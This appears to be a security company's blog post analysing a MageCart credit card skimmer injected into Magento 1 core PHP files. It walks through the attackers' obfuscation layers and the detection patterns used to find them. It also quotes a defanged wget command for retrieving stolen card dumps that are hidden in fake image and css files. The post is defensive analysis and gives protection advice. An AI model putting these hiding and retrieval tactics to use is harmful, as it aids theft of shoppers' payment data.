MageCart is the name given to the roughly one dozen groups of cyber criminals targeting e-commerce websites with the goal of stealing credit card numbers and selling them on the black market. They remain an ever-growing threat to website owners. We’ve said many times on this blog that the attackers are constantly using new techniques to evade detection. In this post I will go over a case involving one such MageCart group.

A Hacked Magento Website

Some time ago a client of ours came to us with a heavily infected Magento e-commerce website from where credit card details were being stolen. Our initial actions removed a tremendous amount of malware, including six different types of Magento credit card swipers. The client was stuck in an old version of Magento unable to upgrade for a couple reasons that we will get into later.

Their version of Magento was nearly 7 years old and missing a plethora of security patches. Sadly this is all too common in the Magento-sphere as it’s common for business owners to pay a small fortune for a custom coded website and then not have sufficient funds to hire the developer back once their site becomes out-of-date and vulnerable. In fact, it can cost anywhere from $5,000 to $50,000 to migrate a Magento 1 website (which had its end of life in 2020) to the more-secure Magento 2. For a lot of website owners this is just not feasible. What’s worse is that Adobe (the owner of the Magento open-source CMS, likely in their effort to force website owners to upgrade) actually took the security patches for Magento 1 offline. They are still available on Github but not from an official source.

Adding Credit Card Details to Image Files

One tactic that some Magecart actors employ is the dumping of swiped credit card details into image files on the server avoid raising suspicion. These can later be downloaded using a simple GET request at a later date. For example:

wget hxxps://www.compromised-website[.]com/path/to/cc/dump/arrow.gif

We have documented how credit card credentials are saved in image files in the past on this blog.

Image Files with base64 Encoded Data

Back to the infection: After our initial sweep for malware we noticed that there were two image files on the server that continued to be populated with chunks of base64 encoded data. When decoded to plain text they were clearly credit card and cvv numbers, billing addresses, expiration dates and a lot more. There was something more to be found here.

The first thing I did was to query the website files for the name of one of the images:

“arrow.gif”

That was a pretty basic attempt and I’m not surprised that didn’t come up with anything. The attackers stopped leaving their target files in plain text in their payloads a long time ago but I had to try just in case!

I also tried querying the server for recently modified files but as you can imagine there was a lot of content to go through even after excising the obvious extension updates (especially considering that this was a very large Magento environment).

Core File Integrity Check

One of our most useful methods in finding new, previously undetected malware strains is a core file integrity check. What this does is it compares the hashes of the core CMS files on the server to known good copies. If there is a mismatch (code or files added, modified or removed) then it’s worth checking out to see precisely why there is a mismatch. In this case, there was still a tremendous amount of files to go through.

Fortunately I was pretty sure that this was a PHP injection (rather than javascript) based on how this malware was behaving so I knew to start looking there. Typically with javascript malware you are able to see it loading in the browser or it would show up in an external scan but that was not the case here.

With Magecart malware the files infected need to be involved in the checkout process somehow in order to work. The attackers can’t just infect any random file; it has to handle payment information somehow. For this reason we tend to see the same files get infected over and over again. One such file is the following:

./app/code/core/Mage/Admin/Model/Session.php

I noticed that this file came up in the core integrity check as having been changed from the original. Sure enough, there was our culprit:

Let’s take apart this malware, shall we?

Another Analysis of a Credit Card Swiper

The first thing that we are going to want to do is see what we can get out of this big ole’ chunk of code at the top here:

This is likely where the meat and potatoes of our malware is. First thing’s first: this looks like a base64 encoded string, so let’s try to decode it and see what we get:

Well, that’s not very useful is it? Another popular method of encoding data alongside base64 is gzinflate. Once we added that function to the decoding process and echoed out the results in a safe, sandbox environment we got the following:

This at least gives us something that uses normal letters and numbers that could be typed on a keyboard if you felt so inclined. One distinct thing I notice about this is that it starts with two equals signs. In base64 encoding these equals signs always occur at the end of the sample, not the beginning. So let’s go ahead and reverse the string and then run that through a base64 decoder again:

Bingo! There’s our arrow.gif at the bottom.

However, that tells only part of the story. What about this part of the infection?

This is the part of the code from which the title of this article was derived. The attackers are using what’s called “concatenation” here, which is a very common obfuscation technique that we see a lot. Normally it looks something like this:

<?php echo ""."h"."e"."".""."llo"."w"."o"."".""."r"."l"."d"."";

Whereas the server would interpret that as simply “helloworld”.

Hiding Malware with Comment Chunks

We already know to look for this type of obfuscation and the attackers know this. In this case they have added some additional comment chunks (the grey areas in the above image). That part of the code does not functionally do anything but it adds a layer of obfuscation making it somewhat more difficult to detect. So when we would do our normal check for concatenated code and search for something like:

"."".""."

It would return nothing.

Let’s use a simple regular expression to remove those useless comment chunks and see what we get. We are going to use the following regex for that:

'\/\*\w+\*\/.'

The result is as follows:

Still encoded, but no longer concatenated. We can see that it is further using the eval base_64decode function to further obfuscate what it is doing but this is the part of the code where the randomly named variables are stored.

Next Steps on the Magecart Swiper Journey

This solved only half of our puzzle as there was still another image file present on the server that was getting base64 encoded credit card details dumped into it. There must be something else to find!

Borrowing an old technique I used back in 2019 to find a series of backdoors (fifteen variations on one website to be precise) I decided to query the file system for some “micropatterns” that might yield some more results. If this Session.php file used this type of concatenation, maybe the attacks were using the same patterns in another file?

The winning query was as follows:

*/.'_'/*

This is a weird series of special characters unlikely to be present in a normal file. It also avoids relying on the randomly generated junk populating the concatenated commented-out chunks and instead focuses on the concatenation itself. Sure enough, here it was:

./app/code/core/Mage/Bundle/Model/Observer.php

There we have it! It has the same patterns to the file, same encoding types, just slightly different content, and this time writing to a following bogus css file:

./skin/install/default/default/css/default.css

The advantage for this type of infection for the attackers is that the stolen credit card details can still be obtained with a simple GET request by downloading the bogus file even after they have been locked out of the server due to a simple password change or something similar.

In Conclusion

MageCart is an ever growing threat to e-commerce websites. From the perspective of the attackers: the rewards are too large and consequences non-existent, why wouldn’t they? Literal fortunes are made stealing and selling stolen credit cards on the black market. In fact, fascinatingly, the black market functions much like the legitimate market: software developers sell exploit kits to those who want to profit off of compromising websites. Telephone, chat and email support is provided to those customers aiming to exploit vulnerable websites for a profit. Once the stolen credit card details are exfiltrated they are sold on the black market to illicit consumers for a profit.

As more and more commerce is conducted online we can only expect the attacks on websites to escalate and more players enter the already-crowded field of MageCart. The fact that it’s not uncommon for us to see an infected website with multiple different credit card swipers present on them seems to suggest that vulnerable websites are being targeted by multiple different groups all at the same time.

The company RiskIQ in their outstanding report on Magecart shows a great sort of taxonomy of those engaged in these credit card theft cases. At the time of writing it there were roughly 7 distinct groups engaging in swiping credit card details from unsuspecting websites. Although attribution in the website security world is always challenging (or impossible) the example above looks to be the distinct work of Group number 7. Since that report was issued quite a few more groups have entered the game, including one (possibly Canadian?) recently documented making for what is currently a crowded threat landscape.

One point to note is that it’s not only groups that carry out these kinds of attacks, there are also individuals on this landscape which makes the actual number of actors in this landscape quite high and impossible to predict.

How do I protect my website?

This boils down to some core principles that we have been stating on this blog for a very long time:

1. Keep your website up to date and install all software updates as soon as you can
2. Use long, complex passwords
3. Use secure workstations to administer your website
4. Use a secure hosting environment
5. Lock down your administration panel with additional safeguards
6. Put your website behind a firewall to prevent attacks

Websites are very complicated things and can become compromised in many different ways. We have always recommended defence in depth. Expect the worst but hope for the best! Every hard drive can fail, every database can crash, every security rule in place can be breached or broken. The goal should be to have as many security rules in place as possible; if one fails, others can still succeed and it doesn’t come down to a single point of failure. This doesn’t make for a convenient website administration experience but it’s better than suffering the consequences of a compromise!

Stay tuned for more website security content!